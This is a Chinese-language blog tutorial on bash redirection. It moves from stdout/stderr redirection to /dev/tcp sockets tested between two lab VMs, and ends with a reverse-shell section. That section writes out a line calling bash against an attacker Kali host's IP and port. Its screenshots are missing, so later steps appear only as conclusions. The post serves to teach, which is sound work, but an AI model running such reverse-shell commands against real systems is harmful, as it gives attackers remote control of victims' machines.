bash中的重定向探究(UNIX or Linux shell)

###GNU bash 4.3.1###

###Ubuntu14.04###

###2020/11/19###

1.写一个简单bash脚本,或者叫shell脚本用于测试重定向。文件名为a.sh,不废话,上代码。

#!/bin/bash
while ((1))            //此处必须双括号
do
        echo "hello,world\n"
        echo "$[5/0]"
done

2.测试常见的输出重定向。

执行命令 ./a.sh 

 默认标准输出和标准出错都是显示器,所以得到上图的两条输出

现在将标准输出重定向到文本文件1.txt

执行命令 ./a.sh >1.txt

 只有一行错误输出了,标准输出被重定向到文件中了

现将标准输出和标准出错都重定向到文件1.txt

执行命令./a.sh > 1.txt 2>&1 #命令行从左至右解释(2>&1中2和1均为描述符)

 

执行命令后无输出,可见全部重定向了

执行cat -n 1.txt    查看两行都在文本文件中,重定向成功。

 参考Bash官方文档:https://www.gnu.org/software/bash/manual/bash.html#Duplicating-File-Descriptors

 可知,可以利用重定向的知识来打开TCP/UDP socket,下面用两台主机进行验证(均为虚拟机)。

###Ubuntu14.04&&&Kali4.15.0###(TCP验证)

1.ip地址(Ubuntu192.168.100.***)(Kali 192.168.100.181)

2.Kali端先用nc打开端口,监听TCP连接,使用端口11111

 3.Ubuntu主动连接,并发送“hello,world!”

4.Kali端输出helloworld!

 5.使用wireshark分析连接过程(三次握手)

 以及两次挥手的数据(不上图了)

 6.查看数据报(数据明文传输)

 ############UDP验证############

1.Kali nc以UDP方式监听11111端口

 2.Ubuntu以UDP方式发送数据

 3.Kali端接收结果:

 (与TCP方式不同的是,发送完数据后nc未返回,还处于接收数据的模式,但是并不能再次收到数据。此处大家可以继续探究)

4.打开wireshark进行分析。

 

 

 只发现产生了1个数据报,与TCP建立连接的方式完全不同。

观察数据:

 依旧是明文传输。

 #####重定向的应用之反弹shell#####

 1.nc在kali端进行监听

  2.Ubuntu端进行bash重定向

bash -i /dev/tcp/192.168.100.181/5566

  3.Ubuntu端进行命令输入测试

 kail端回显为

 结论:此种命令方式,无法控制受害端shell,受害端输入命令,只是在攻击端显示了受害端的标准输出。

4.修改上述命令,

  攻击端输入命令

 受害端显示

 结论:攻击端能在受害端执行命令,但是攻击端无法看到输出。

5.修改命令

 攻击端执行命令

 受害端回显命令

 结论:基本实现反弹shell的功能,只不过受害端会返显攻击端命令

6.修改命令

 攻击端

  结论:命令完成

posted @ 2020-11-21 12:31  UNkey  阅读(349)  评论(0)    收藏  举报